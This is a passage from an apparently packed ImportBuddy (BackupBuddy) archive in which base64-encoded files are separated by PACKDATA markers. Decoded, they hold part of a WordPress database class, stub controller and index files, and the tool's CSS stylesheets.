zZXRfY29sbGF0ZSAuPSAiIENPTExBVEUgJHRoaXMtPmNvbGxhdGUiOwoKCQlyZXR1cm4gJGNoYXJzZXRfY29sbGF0ZTsKCX0KCgkvKioKCSAqIERldGVybWluZSBpZiBhIGRhdGFiYXNlIHN1cHBvcnRzIGEgcGFydGljdWxhciBmZWF0dXJlLgoJICoKCSAqIEBzaW5jZSAyLjcuMAoJICogQHNpbmNlIDQuMS4wIFN1cHBvcnQgd2FzIGFkZGVkIGZvciB0aGUgJ3V0ZjhtYjQnIGZlYXR1cmUuCgkgKgoJICogQHNlZSB3cGRiOjpkYl92ZXJzaW9uKCkKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRkYl9jYXAgVGhlIGZlYXR1cmUgdG8gY2hlY2sgZm9yLiBBY2NlcHRzICdjb2xsYXRpb24nLAoJICogICAgICAgICAgICAgICAgICAgICAgICdncm91cF9jb25jYXQnLCAnc3VicXVlcmllcycsICdzZXRfY2hhcnNldCcsCgkgKiAgICAgICAgICAgICAgICAgICAgICAgb3IgJ3V0ZjhtYjQnLgoJICogQHJldHVybiBpbnR8ZmFsc2UgV2hldGhlciB0aGUgZGF0YWJhc2UgZmVhdHVyZSBpcyBzdXBwb3J0ZWQsIGZhbHNlIG90aGVyd2lzZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGhhc19jYXAoICRkYl9jYXAgKSB7CgkJJHZlcnNpb24gPSAkdGhpcy0+ZGJfdmVyc2lvbigpOwoKCQlzd2l0Y2ggKCBzdHJ0b2xvd2VyKCAkZGJfY2FwICkgKSB7CgkJCWNhc2UgJ2NvbGxhdGlvbicgOiAgICAvLyBAc2luY2UgMi41LjAKCQkJY2FzZSAnZ3JvdXBfY29uY2F0JyA6IC8vIEBzaW5jZSAyLjcuMAoJCQljYXNlICdzdWJxdWVyaWVzJyA6ICAgLy8gQHNpbmNlIDIuNy4wCgkJCQlyZXR1cm4gdmVyc2lvbl9jb21wYXJlKCAkdmVyc2lvbiwgJzQuMScsICc+PScgKTsKCQkJY2FzZSAnc2V0X2NoYXJzZXQnIDoKCQkJCXJldHVybiB2ZXJzaW9uX2NvbXBhcmUoICR2ZXJzaW9uLCAnNS4wLjcnLCAnPj0nICk7CgkJCWNhc2UgJ3V0ZjhtYjQnIDogICAgICAvLyBAc2luY2UgNC4xLjAKCQkJCWlmICggdmVyc2lvbl9jb21wYXJlKCAkdmVyc2lvbiwgJzUuNS4zJywgJzwnICkgKSB7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJaWYgKCAkdGhpcy0+dXNlX215c3FsaSApIHsKCQkJCQkkY2xpZW50X3ZlcnNpb24gPSBteXNxbGlfZ2V0X2NsaWVudF9pbmZvKCk7CgkJCQl9IGVsc2UgewoJCQkJCSRjbGllbnRfdmVyc2lvbiA9IG15c3FsX2dldF9jbGllbnRfaW5mbygpOwoJCQkJfQoKCQkJCS8qCgkJCQkgKiBsaWJteXNxbCBoYXMgc3VwcG9ydGVkIHV0ZjhtYjQgc2luY2UgNS41LjMsIHNhbWUgYXMgdGhlIE15U1FMIHNlcnZlci4KCQkJCSAqIG15c3FsbmQgaGFzIHN1cHBvcnRlZCB1dGY4bWI0IHNpbmNlIDUuMC45LgoJCQkJICovCgkJCQlpZiAoIGZhbHNlICE9PSBzdHJwb3MoICRjbGllbnRfdmVyc2lvbiwgJ215c3FsbmQnICkgKSB7CgkJCQkJJGNsaWVudF92ZXJzaW9uID0gcHJlZ19yZXBsYWNlKCAnL15cRCsoW1xkLl0rKS4qLycsICckMScsICRjbGllbnRfdmVyc2lvbiApOwoJCQkJCXJldHVybiB2ZXJzaW9uX2NvbXBhcmUoICRjbGllbnRfdmVyc2lvbiwgJzUuMC45JywgJz49JyApOwoJCQkJfSBlbHNlIHsKCQkJCQlyZXR1cm4gdmVyc2lvbl9jb21wYXJlKCAkY2xpZW50X3ZlcnNpb24sICc1LjUuMycsICc+PScgKTsKCQkJCX0KCQl9CgoJCXJldHVybiBmYWxzZTsKCX0KCgkvKioKCSAqIFJldHJpZXZlIHRoZSBuYW1lIG9mIHRoZSBmdW5jdGlvbiB0aGF0IGNhbGxlZCB3cGRiLgoJICoKCSAqIFNlYXJjaGVzIHVwIHRoZSBsaXN0IG9mIGZ1bmN0aW9ucyB1bnRpbCBpdCByZWFjaGVzCgkgKiB0aGUgb25lIHRoYXQgd291bGQgbW9zdCBsb2dpY2FsbHkgaGFkIGNhbGxlZCB0aGlzIG1ldGhvZC4KCSAqCgkgKiBAc2luY2UgMi41LjAKCSAqCgkgKiBAcmV0dXJuIHN0cmluZ3xhcnJheSBUaGUgbmFtZSBvZiB0aGUgY2FsbGluZyBmdW5jdGlvbgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X2NhbGxlcigpIHsKCQlyZXR1cm4gd3BfZGVidWdfYmFja3RyYWNlX3N1bW1hcnkoIF9fQ0xBU1NfXyApOwoJfQoKCS8qKgoJICogVGhlIGRhdGFiYXNlIHZlcnNpb24gbnVtYmVyLgoJICoKCSAqIEBzaW5jZSAyLjcuMAoJICoKCSAqIEByZXR1cm4gbnVsbHxzdHJpbmcgTnVsbCBvbiBmYWlsdXJlLCB2ZXJzaW9uIG51bWJlciBvbiBzdWNjZXNzLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZGJfdmVyc2lvbigpIHsKCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQkkc2VydmVyX2luZm8gPSBteXNxbGlfZ2V0X3NlcnZlcl9pbmZvKCAkdGhpcy0+ZGJoICk7CgkJfSBlbHNlIHsKCQkJJHNlcnZlcl9pbmZvID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCAkdGhpcy0+ZGJoICk7CgkJfQoJCXJldHVybiBwcmVnX3JlcGxhY2UoICcvW14wLTkuXS4qLycsICcnLCAkc2VydmVyX2luZm8gKTsKCX0KfQo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/classes/wp-db.php,importbuddy/classes/wp-db.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax.php,importbuddy/controllers/ajax.php
PD9waHAKY2xhc3MgcGJfYmFja3VwYnVkZHlfYWpheCBleHRlbmRzIHBiX2JhY2t1cGJ1ZGR5X2FqYXhjb3JlIHsKfQ==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax.php,importbuddy/controllers/ajax.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/index.php,importbuddy/controllers/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/index.php,importbuddy/controllers/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/css/index.php,importbuddy/css/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/css/index.php,importbuddy/css/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/css/nprogress.css,importbuddy/css/nprogress.css
LyogTWFrZSBjbGlja3MgcGFzcy10aHJvdWdoICovCiNucHJvZ3Jlc3MgewogIHBvaW50ZXItZXZlbnRzOiBub25lOwp9CgojbnByb2dyZXNzIC5iYXIgewogIGJhY2tncm91bmQ6ICMyOWQ7CgogIHBvc2l0aW9uOiBmaXhlZDsKICB6LWluZGV4OiA3NTsKICB0b3A6IDQ4cHg7CiAgbGVmdDogMDsKCiAgd2lkdGg6IDEwMCU7CiAgaGVpZ2h0OiA0cHg7Cn0KCi8qIEZhbmN5IGJsdXIgZWZmZWN0ICovCiNucHJvZ3Jlc3MgLnBlZyB7Cgp9CgovKiBSZW1vdmUgdGhlc2UgdG8gZ2V0IHJpZCBvZiB0aGUgc3Bpbm5lciAqLwojbnByb2dyZXNzIC5zcGlubmVyIHsKICBkaXNwbGF5OiBibG9jazsKICBwb3NpdGlvbjogZml4ZWQ7CiAgei1pbmRleDogMTAzMTsKICB0b3A6IDY1cHg7CiAgcmlnaHQ6IDE1cHg7Cn0KCiNucHJvZ3Jlc3MgLnNwaW5uZXItaWNvbiB7CiAgd2lkdGg6IDQwcHg7CiAgaGVpZ2h0OiA0MHB4OwogIGJveC1zaXppbmc6IGJvcmRlci1ib3g7CgogIGJvcmRlcjogc29saWQgNHB4IHRyYW5zcGFyZW50OwogIGJvcmRlci10b3AtY29sb3I6ICMyOWQ7CiAgYm9yZGVyLWxlZnQtY29sb3I6ICMyOWQ7CiAgYm9yZGVyLXJhZGl1czogNTAlOwoKICAtd2Via2l0LWFuaW1hdGlvbjogbnByb2dyZXNzLXNwaW5uZXIgNDAwbXMgbGluZWFyIGluZmluaXRlOwogICAgICAgICAgYW5pbWF0aW9uOiBucHJvZ3Jlc3Mtc3Bpbm5lciA0MDBtcyBsaW5lYXIgaW5maW5pdGU7Cn0KCkAtd2Via2l0LWtleWZyYW1lcyBucHJvZ3Jlc3Mtc3Bpbm5lciB7CiAgMCUgICB7IC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7IH0KICAxMDAlIHsgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOyB9Cn0KCkBrZXlmcmFtZXMgbnByb2dyZXNzLXNwaW5uZXIgewogIDAlICAgeyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfQogIDEwMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpOyB9Cn0K
###PACKDATA,FILE_END,/_importbuddy/importbuddy/css/nprogress.css,importbuddy/css/nprogress.css
###PACKDATA,FILE_START,/_importbuddy/importbuddy/css/style.css,importbuddy/css/style.css
QGltcG9ydCB1cmwoaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9wZW4rU2Fuczo0MDBpdGFsaWMsNDAwLDcwMCk7CgoKLyoqKioqKioqKioqKioqKioqKioqKiAKCUJhc2ljcwoqKioqKioqKioqKioqKioqKioqKiovCgphIHsKCWNvbG9yOiAjMDA4NGNiOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXIgewoJY29sb3I6ICM0NDQ7Cgl0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKfQoKLndpZGVmYXQgewoJLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAzcHg7CgktbW96LWJvcmRlci1yYWRpdXM6IDNweDsKCWJvcmRlci1yYWRpdXM6IDNweDsKCWJvcmRlci1zcGFjaW5nOiAwOwoJYm9yZGVyLXN0eWxlOiBzb2xpZDsKCWJvcmRlci13aWR0aDogMXB4OwoJY2xlYXI6IGJvdGg7CgltYXJnaW46IDA7Cgl3aWR0aDogMTAwJTsKCWJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7Cglib3JkZXItY29sb3I6ICNERkRGREY7Cn0KLndpZGVmYXQgdGQsIAoud2lkZWZhdCB0aCB7Cglmb250LWZhbWlseTogJ09wZW4gU2FucycgLHNhbnMtc2VyaWY7Cglib3JkZXItYm90dG9tLXN0eWxlOiBzb2xpZDsKCWJvcmRlci1ib3R0b20td2lkdGg6IDFweDsKCWZvbnQtc2l6ZTogMTFweDsKCWJvcmRlci1jb2xvcjogI0RGREZERjsKfQoud2lkZWZhdCB0aCB7CgliYWNrZ3JvdW5kOiAjREZERkRGOwoJY29sb3I6ICMzMzMzMzM7Cglmb250LXNpemU6IDExcHg7Cgl0ZXh0LXNoYWRvdzogMCAxcHggMCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuOCk7CglsaW5lLWhlaWdodDogMS4zZW07CglwYWRkaW5nOiA3cHggN3B4IDhweDsKCXRleHQtYWxpZ246IGxlZnQ7Cn0KLndpZGVmYXQgdGQgewoJcGFkZGluZzogM3B4IDdweDsKCXZlcnRpY2FsLWFsaWduOiB0b3A7Cn0KaDEgewoJY29sb3I6ICM0NjQ2NDY7Cglmb250LXNpemU6IDI0cHg7Cglmb250LWZhbWlseTogJ09wZW4gU2FucycgLHNhbnMtc2VyaWY7Cglmb250LXN0eWxlOiBpdGFsaWM7CgltYXJnaW4tdG9wOiAwcHg7Cn0KaDIgewoJY29sb3I6ICM0NjQ2NDY7Cglmb250LXNpemU6IDIwcHg7Cglmb250LWZhbWlseTogJ09wZW4gU2FucycgLHNhbnMtc2VyaWY7Cglmb250LXN0eWxlOiBpdGFsaWM7CgltYXJnaW4tdG9wOiAtMTBweDsKfQpoMyB7Cglmb250LXNpemU6IDEuMmVtOwoJZm9udC13ZWlnaHQ6IDIwMDsKfQppbWcgewoJdmVydGljYWwtYWxpZ246IC0ycHg7CgltYXgtd2lkdGg6IDEwMCU7CgloZWlnaHQ6IGF1dG87Cn0KdGggewoJZm9udC13ZWlnaHQ6IG5vcm1hbDsKfQoKaW5wdXRbdHlwZT0idGV4dCJdLCAKaW5wdXRbdHlwZT0icGFzc3dvcmQiXSwgCnRleHRhcmVhIHsKCW1hcmdpbjogM3B4OwoJcGFkZGluZzogOHB4OwoJLW1vei1ib3JkZXItcmFkaXVzOjNweCAzcHggM3B4IDNweDsKCS13ZWJraXQtYm9yZGVyLXJhZGl1czogM3B4OwoJYm9yZGVyLXJhZGl1czogM3B4OwoJYm9yZGVyLXN0eWxlOnNvbGlkOwoJYm9yZGVyLXdpZHRoOjFweDsKCWJvcmRlci1jb2xvcjogI0Q2RDZENjsKCS13ZWJraXQtYm94LXNpemluZzogYm9yZGVyLWJveDsKCS1tb3otYm94LXNpemluZzpib3JkZXItYm94OwoJYm94LXNpemluZzogYm9yZGVyLWJveDsKCQoJZm9udC1zaXplOiAxLjJlbTsKCWZvbnQtZmFtaWx5OiAnT3BlbiBTYW5zJyAsc2Fucy1zZXJpZjsKfQoKaW5wdXRbdHlwZT0idGV4dCJdOmZvY3VzLCAKaW5wdXRbdHlwZT0icGFzc3dvcmQiXTpmb2N1cywgCnRleHRhcmVhOmZvY3VzIHsKCW91dGxpbmU6bm9uZTsKCWJvcmRlci1jb2xvcjogIzk5OTsKfQp0ZXh0YXJlYSB7Cglmb250LWZhbWlseTogc2Fucy1zZXJpZjsKCWZvbnQtc2l6ZTogMTNweDsKCWxpbmUtaGVpZ2h0OiAxLjRlbTsKCWNvbG9yOiAjNDY0NjQ2OwoJd2lkdGg6IDEwMCU7CgltaW4taGVpZ2h0OiAyMDBweDsKfQoKbGFiZWwgewoJd2lkdGg6IDIwMHB4OwoJbWFyZ2luLXRvcDogN3B4Owp9CgovKiBCdXR0b25zCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLwoKLml0LWJ1dHRvbiwKLmJ1dHRvbiwKLmJ1dHRvbi1wcmltYXJ5IHsKCWRpc3BsYXk6IGlubGluZS1ibG9jazsKCWJvcmRlcjpub25lOwoJb3V0bGluZTpub25lOwoJcG9zaXRpb246IHJlbGF0aXZlOwoJbWFyZ2luOiAwLjVlbSAwLjI1ZW07CglwYWRkaW5nOiAuNWVtIDFlbTsKCWJhY2tncm91bmQ6ICMyRUEyQ0M7Cgljb2xvcjogI2ZmZjsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKCWZvbnQtc2l6ZTogMS4xMjVlbTsKCWJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjMjc3NjkzOwoJYm9yZGVyLXJhZGl1czogM3B4Owp9CgouaXQtYnV0dG9uOmhvdmVyLAouYnV0dG9uOmhvdmVyLAouYnV0dG9uLXByaW1hcnk6aG92ZXIgewoJYm9yZGVyLWJvdHRvbS1jb2xvcjogIzEzNDU1QjsKCWNvbG9yOiAjRkZGRkZGOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwoJY3Vyc29yOnBvaW50ZXI7Cn0KCi5pdC1idXR0b246aG92ZXIgewoJYmFja2dyb3VuZDogIzNhYjFkYjsKfQoKLmJ1dHRvbi1zZWNvbmRhcnkgewoJYmFja2dyb3VuZDogI2YxZjFmMTsKCWNvbG9yOiAjNjY2OwoJYm9yZGVyOiAxcHggc29saWQgI2ViZWJlYjsKCWJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjYzljOWM5Owp9CgouYnV0dG9uLXNlY29uZGFyeTpob3ZlciB7Cgljb2xvcjogIzQ0NDsKCWJvcmRlci1ib3R0b20tY29sb3I6ICM5OTk7Cn0KCi5idXR0b24tdGVydGlhcnkgewoJYmFja2dyb3VuZDogI2YxZjFmMTsKCWNvbG9yOiAjNjY2OwoJYm9yZGVyOiAxcHggc29saWQgI2ViZWJlYjsKCWJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjYzljOWM5OwoJcGFkZGluZzogMCAxZW07Cglmb250LXNpemU6IC44NzVlbTsKfQoKLmJ1dHRvbi10ZXJ0aWFyeTpob3ZlciB7Cgljb2xvcjogIzQ0NDsKCWJvcmRlci1ib3R0b20tY29sb3I6ICM5OTk7Cn0KCi5idXR0b25fZGlzYWJsZWQgewoJb3BhY2l0eTogLjc7Cn0KCgoKLyogRXJyb3JzIGFuZCBNZXNzYWdlcwotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8KCi5wYl9iYWNrdXBidWRkeV9hbGVydCB7CgltYXJnaW46IDAgMCAyZW0gMDsKCWJhY2tncm91bmQtY29sb3I6I0ZGRkZFMDsKCWJvcmRlcjogMXB4IHNvbGlkICNFNkRCNTU7CglwYWRkaW5nOiAxMHB4OwoJLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAzcHg7CgktbW96LWJvcmRlci1yYWRpdXM6IDNweDsKCWJvcmRlci1yYWRpdXM6IDNweDsKfQoKLmVycm9yLCAKLnVwZGF0ZWQgewoJZm9udC1zaXplOiAwLjhlbTsKfQouZXJyb3IgcCwgCi51cGRhdGVkIHAgewoJbWFyZ2luOiAwOwoJcGFkZGluZzogMDsKfQoKCgoKCi8qIFBhZ2UgTGF5b3V0Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLwpib2R5IHsKCS8vYmFja2dyb3VuZDogI0ZGRkZGRjsKCWZvbnQtZmFtaWx5OiAnT3BlbiBTYW5zJyAsc2Fucy1zZXJpZjsKCWZvbnQtc2l6ZTogMWVtOwoJY29sb3I6ICM0NjQ2NDY7Cglmb250LXdlaWdodDogMjAwOwoJbWFyZ2luOiAwOwp9CgoudG9wTmF2IHsKCXBvc2l0aW9uOiBmaXhlZDsKCXRvcDogMDsKCXdpZHRoOiAxMDAlOwoJYmFja2dyb3VuZDogIzJhMmYzMzsKCWNvbG9yOiAjZmZmOwoJZm9udC1zaXplOiAwLjllbTsKCW92ZXJmbG93OmhpZGRlbjsKCXotaW5kZXg6IDkwMDA7Cn0KLnRvcE5hdiBhIHsKCWRpc3BsYXk6IGJsb2NrOwoJZmxvYXQ6bGVmdDsKCW1hcmdpbjogMCBhdXRvOwoJY29sb3I6ICNmZmY7CgljdXJzb3I6IHBvaW50ZXI7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCXBhZGRpbmc6IDFlbTsKCWJhY2tncm91bmQ6ICM0MTQ3NGQ7Cn0KLnRvcE5hdiBhOmhvdmVyLAoudG9wTmF2IC5hY3RpdmVQYWdlIHsKCWJhY2tncm91bmQ6ICMzMjM3M2M7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cgljb2xvcjogI2ZmZjsKfQoKLnRvcE5hdiAuYWN0aXZlUGFnZSB7Cgljb2xvcjogIzAwQjdGRjsKfQojbWluaUZyYW1lIHsKCW1hcmdpbi10b3A6IDJweDsKfQoKLm1haW5fYm94X3dyYXB7Cgl3aWR0aDogMTAwJTsKCW1heC13aWR0aDogODUwcHg7CgltYXJnaW46MmVtIGF1dG87CglwYWRkaW5nOiAwcHg7Cglib3JkZXI6IDFweCBzb2xpZCAjRDZENkQ2OwoJYmFja2dyb3VuZDogI0ZGRkZGRjsKfQoKLm1haW5fYm94IHsKCXBhZGRpbmc6IDJlbTsKfQoKI3BiX2JhY2t1cGJ1ZGR5X3N0YXR1c193cmFwIHsKCXBhZGRpbmc6IDJlbSAyZW0gMCAyZW0KfQoKLm1haW5fYm94X2hlYWQgewoJYmFja2dyb3VuZDogIzQxNDc0ZDsKCXBhZGRpbmc6IC41ZW0gMWVtOwoJZm9udC1mYW1pbHk6ICdPcGVuIFNhbnMnICxzYW5zLXNlcmlmOwoJZm9udC13ZWlnaHQ6IG5vcm1hbDsKCWZvbnQtc2l6ZTogMS4yNWVtOwoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNENkQ2RDY7CgliYWNrZ3JvdW5kOiAjZmZmOwoJYm9yZGVyLWxlZnQ6IDNweCBzb2xpZCAjMDBCN0ZGOwp9Cgouc3RlcF9udW1iZXIgewoJY29sb3I6ICMwMEI3RkY7Cglmb250LXdlaWdodDogYm9sZDsKfQoKLm1haW5fYm94X2Zvb3QgewoJcGFkZGluZzogMTBweDsKCWZvbnQtZmFtaWx5OiAnT3BlbiBTYW5zJyAsc2Fucy1zZXJpZjsKCWNvbG9yOiAjNDY0NjQ2OwoJYm9yZGVyLXRvcDogMXB4IHNvbGlkICNENkQ2RDY7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCi53cmFwIHsKCW1hcmdpbi10b3A6IDEwcHg7Cglwb3NpdGlvbjogcmVsYXRpdmU7Cgl0ZXh0LWFsaWduOiBsZWZ0OwoJbWFyZ2luLWxlZnQ6IGF1dG87CgltYXJnaW4tcmlnaHQ6IGF1dG87Cn0KCgoKCgouZm9vdGVyX3RleHQgewoJZm9udC1zaXplOiAwLjdlbTsKCWNvbG9yOiAjNzc3Owp9Ci5mb290ZXIgewoJY2xlYXI6IGJvdGg7CgltYXJnaW4tdG9wOiAyNXB4OwoJbWFyZ2luLWJvdHRvbTogNTBweDsKCXRleHQtYWxpZ246Y2VudGVyOwp9CgouYmFja3VwX3NlbGVjdF9idXR0b25zIHsKCW1hcmdpbjogMCAwIDNlbSAwOwp9CgouYmFja3VwX3NlbGVjdF90ZXh0IHNwYW4gewoJZGlzcGxheTppbmxpbmUtYmxvY2s7CgltYXgtd2lkdGg6IDUwMHB4OwoJb3ZlcmZsb3c6c2Nyb2xsOwoJdmVydGljYWwtYWxpZ246IGJvdHRvbTsKfQouYmFja3VwX3NlbGVjdF90ZXh0IHNwYW46Oi13ZWJraXQtc2Nyb2xsYmFyIHsgCglkaXNwbGF5OiBub25lOyAKfQoKLnJvdW5kLXdyYXAgewoJbWFyZ2luOiAxZW0gMDsKCXBhZGRpbmc6IDA7Cn0KCi5yb3VuZC13cmFwIGxpIHsKCWxpc3Qtc3R5bGU6IG5vbmU7Cglib3JkZXItYm90dG9tOiAxcHggc29saWQgI2RmZGZkZjsKCW1hcmdpbi1ib3R0b206IDFlbTsKCXBhZGRpbmctYm90dG9tOiAxZW07Cn0KCi5yb3VuZC13cmFwIGxpOmxhc3QtY2hpbGQgewoJYm9yZGVyOm5vbmU7Cn0KCi5zZXR0aW5nQ29weSB7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgoKCgoKCiNpbXBvcnRidWRkeV9zdGF0dXMgewoJYm9yZGVyOiAwcHg7CgltYXJnaW46IC0xNXB4OwoJbWFyZ2luLWJvdHRvbTogMHB4OwoJd2lkdGg6IDEwMCU7CgltYXgtd2lkdGg6IDc0MHB4OwoJaGVpZ2h0OiAyMDBweDsKfQoKCi5iYWNrdXBfc2VsZWN0X3RleHQgewoJbWFyZ2luLWJvdHRvbTogMTJweDsKfQoKCgoKCi5tZW51IHsKCXBhZGRpbmc6IDhweDsKCXRleHQtYWxpZ246IGNlbnRlcjsKCWJhY2tncm91bmQtY29sb3I6ICNDQ0NDQ0M7Cglmb250LXdlaWdodDogYm9sZDsKfQoKLnRvZ2dsZSB7CgljdXJzb3I6IHBvaW50ZXI7Cn0KLnRvZ2dsZWQgewoJZGlzcGxheTogbm9uZTsKCWJvcmRlcjogMXB4IHNvbGlkICNDQ0NDQ0M7CgltYXJnaW46IDRweDsKCXBhZGRpbmc6IDhweDsKCS13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OwoJLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7Cglib3JkZXItcmFkaXVzOiA0cHg7Cn0KCiN0b29sdGlwIHsKCXBvc2l0aW9uOiBhYnNvbHV0ZTsKCXotaW5kZXg6IDk5OTk5OTsKCWJvcmRlcjogMXB4IHNvbGlkICMxMTE7CgliYWNrZ3JvdW5kLWNvbG9yOiAjZWVlOwoJcGFkZGluZzogNXB4OwoJbWF4LXdpZHRoOiAzMDBweDsKCW9wYWNpdHk6IDAuODU7Cglib3JkZXItcmFkaXVzOiA1cHg7Cgktd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsKCS1tb3otYm9yZGVyLXJhZGl1czogNXB4Owp9CiN0b29sdGlwIGgzLCAjdG9vbHRpcCBkaXYgeyBtYXJnaW46IDA7IH0KLmxpZ2h0IHsKCWNvbG9yOiAjQUZBRkFGOwp9CiNwYl9pbXBvcnRidWRkeV93b3JraW5nIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKCXBhZGRpbmctdG9wOiAyMHB4Owp9CgoKCmhyIHsKCWJvcmRlci10b3A6IDFweCBkb3R0ZWQgI0Q2RDZENjsKCWJvcmRlci1ib3R0b206IDA7CgltYXJnaW4tdG9wOiAzMHB4OwoJbWFyZ2luLWJvdHRvbTogMzBweDsKfQoKCgovKiBUYWJzCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLwoudWktdGFicyB7Cglib3JkZXItdG9wOiAxcHggc29saWQgI0RGREZERjsKCW1hcmdpbi10b3A6IDIwcHg7Cglmb250LXNpemU6IDEuM2VtOwp9IC8qIHBhZGRpbmc6IC4yZW07IHpvb206IDE7ICovCi51aS10YWJzIC51aS10YWJzLW5hdiB7Cgl6LWluZGV4OiAxNTsKCWxpc3Qtc3R5bGU6IG5vbmU7Cglwb3NpdGlvbjogcmVsYXRpdmU7CglwYWRkaW5nOiAwcHggMHB4IDBweDsKCW1hcmdpbi10b3A6IC0xNXB4OwoJbWFyZ2luLWxlZnQ6IDEwcHg7Cn0KLnVpLXRhYnMgLnVpLXRhYnMtbmF2IGxpIHsgCgltYXJnaW46IC0yNXB4IDNweCAtMXB4IDBweDsgCglwb3NpdGlvbjogcmVsYXRpdmU7IAoJZmxvYXQ6IGxlZnQ7IAoJcGFkZGluZzogMDsgCgl0ZXh0LWFsaWduOiBjZW50ZXI7IAoJCn0KLnVpLXRhYnMgLnVpLXRhYnMtbmF2IGxpIGEgewoJY29sb3I6ICM1MzU3NUQ7CgloZWlnaHQ6IDM0cHg7CglmbG9hdDogbGVmdDsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKCXBhZGRpbmctbGVmdDogMTJweDsKCXBhZGRpbmctcmlnaHQ6IDEycHg7CgktbW96LWJvcmRlci1yYWRpdXM6IDVweCA1cHggMHB4IDBweDsKCS13ZWJraXQtYm9yZGVyLXJhZGl1czogNXB4IDVweCAwcHggMHB4OwoJYm9yZGVyOiAxcHggc29saWQgI0RGREZERjsKCWJvcmRlci1ib3R0b206IDBweCBzb2xpZCByZWQ7CglvdXRsaW5lOiBub25lOwoJcGFkZGluZy10b3A6IDVweDsKfQoudWktdGFicyAudWktdGFicy1uYXYgbGkgYTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6ICNGNUY1RjU7IH0KLnVpLXRhYnMgLnVpLXRhYnMtbmF2IGxpLnVpLXRhYnMtc2VsZWN0ZWQgeyAgfSAvKiBwYWRkaW5nLWJvdHRvbTogMHB4OyAqLwoudWktdGFicyAudWktdGFicy1uYXYgbGkudWktdGFicy1zZWxlY3RlZCBhLCAKLnVpLXRhYnMgLnVpLXRhYnMtbmF2IGxpLnVpLXN0YXRlLWRpc2FibGVkIGEsIAoudWktdGFicyAudWktdGFicy1uYXYgbGkudWktc3RhdGUtcHJvY2Vzc2luZyBhIHsKCWhlaWdodDogMzRweDsKCWN1cnNvcjogdGV4dDsKCWJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7Cglib3JkZXItYm90dG9tOiAwcHg7Cn0KLnVpLXRhYnMgLnVpLXRhYnMtbmF2IGxpIGEsIAoudWktdGFicy51aS10YWJzLWNvbGxhcHNpYmxlIC51aS10YWJzLW5hdiBsaS51aS10YWJzLXNlbGVjdGVkIGEgeyBjdXJzb3I6IHBvaW50ZXI7IH0gLyogZmlyc3Qgc2VsZWN0b3IgaW4gZ3JvdXAgc2VlbXMgb2Jzb2xldGUsIGJ1dCByZXF1aXJlZCB0byBvdmVyY29tZSBidWcgaW4gT3BlcmEgYXBwbHlpbmcgY3Vyc29yOiB0ZXh0IG92ZXJhbGwgaWYgZGVmaW5lZCBlbHNld2hlcmUuLi4gKi8KLnVpLXRhYnMgLnVpLXRhYnMtcGFuZWwgeyBwYWRkaW5nLXRvcDogM3B4OyBkaXNwbGF5OiBibG9jazsgYm9yZGVyLXdpZHRoOiAwOyBiYWNrZ3JvdW5kOiBub25lOyB9Ci51aS10YWJzIC51aS10YWJzLWhpZGUgeyBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7IH0KLnRhYnMtaXRlbSB7CgkvL3BhZGRpbmctbGVmdDogMTZweDsKCXBhZGRpbmctdG9wOiAxNnB4OwoJLy9wYWRkaW5nLXRvcDogMjhweDsKCS8vcGFkZGluZy1ib3R0b206IDI4cHg7CgliYWNrZ3JvdW5kOiAjRkZGRkZGOwoJZm9udC1zaXplOiAxNnB4Owp9CgojcGx1Z2luYnVkZHktdGFicyB7CgltYXJnaW4tdG9wOiA0ZW07Cn0KCiNwbHVnaW5idWRkeS10YWJzLnVp